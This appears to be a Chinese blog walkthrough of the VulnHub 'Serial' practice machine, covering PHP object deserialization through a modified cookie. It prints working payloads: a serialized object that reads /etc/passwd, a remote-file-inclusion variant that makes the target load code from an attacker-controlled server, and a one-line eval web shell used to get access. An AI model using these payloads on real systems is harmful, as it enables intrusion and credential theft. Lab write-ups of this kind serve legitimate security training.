php反序列化靶机serial实战

环境搭建

靶机下载地址:

https://www.vulnhub.com/entry/serial-1,349/
 

下载完毕后,使用Vmware新建虚拟机打开:

步骤如下:

1.新建虚拟机,选择自定义

注:若没有看到相应的步骤直接选择下一步(没有动过默认)

2.选择稍后安装操作系统:

3.操作系统的配置。

4.这里选使用现有虚拟磁盘

5.选择保持现有格式

6.打开安装好的虚拟机

渗透过程

使用工具查找虚拟机ip

访问web服务

根据提示使用burpsuite抓包查看Cookie

我们可以看到,这是一串base64编码,找一在线编码平台解码。

O:4:"User":2:{s:10:" User name";s:3:"sk4";s:9:" User wel";O:7:"Welcome":0:{}}
o:代表存储的是对象(object),如果传入的是一个数组,那它会变成字母a。
4:表示对象的名称有4个字符。User表示对象名称,刚好是4个字符。
2:表示有2个值
s:表示字符串,数字表示字符串的长度,s:10:" User name";
 

目录扫描

使用工具扫描端口与目录,尝试访问。

访问backup目录

发现一个zip文件,下载后打开查看,为三个源代码文件。

代码审计

通过代码审计得知,首先index.php文件包含了user.class.php文件,对cookie中的user参数进行了序列化和base64编码,然后user.class.php文件包含了log.class.php,且定义了两个类,分别是Welcome和User,并调用了log.class.php文件中的handler函数。log.class.php文件又定义了Log类和成员变量type_log,且handler函数对变量还进行了文件包含和输出。

我们尝试在抓包中删除Cookie,发现cookie可更改。继续分析代码,发现Wel实例销毁时调用了公共方法hadler,而hadler方法不止在Welcome类中有,在Log类中不仅存在hadler方法,还存在文件包含,所以替换COOKIE中的Welocome实例
由于目标系统为Linux,所以文件包含passwd

直接用以下替换cookie

O:4:"User":2:{s:4:"name";s:3:"sk4";s:3:"wel";O:3:"Log":1:{s:8:"type_log";s:11:"/etc/passwd";}}

base64编码后:

Tzo0OiJVc2VyIjoyOntzOjQ6Im5hbWUiO3M6Mzoic2s0IjtzOjM6IndlbCI7TzozOiJMb2ciOjE6e3M6ODoidHlwZV9sb2ciO3M6MTE6Ii9ldGMvcGFzc3dkIjt9fQ==

发现passwd文件显示了出来。

GetShell

尝试远程文件包含

开启Windows系统的服务器,根目录下创建一个1.txt文件

<?php phpinfo();?>

更改COOKIE,要改成自己的window的ip

O:4:"User":2:{s:4:"name";s:3:"sk4";s:3:"wel";O:3:"Log":1:{s:8:"type_log";s:11:"在这里替换";}}(注:前面的字符数11要根据自己的ip长度修改,自己ip要加协议)

将1.txt改为一句话代码,发送。

<?php @eval($_POST['cmd']);?>

用蚁剑连接。(确保火绒等安全软件关闭)

测试连接连接成功

浏览目录,发现根目录下有credentials.txt.bak文件

应该是sk4用户的密码,由于22端口开启,尝试远程连接
ssh sk4@192.168.3.131

连接成功。获得账号密码。

  • 19
    点赞
  • 13
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值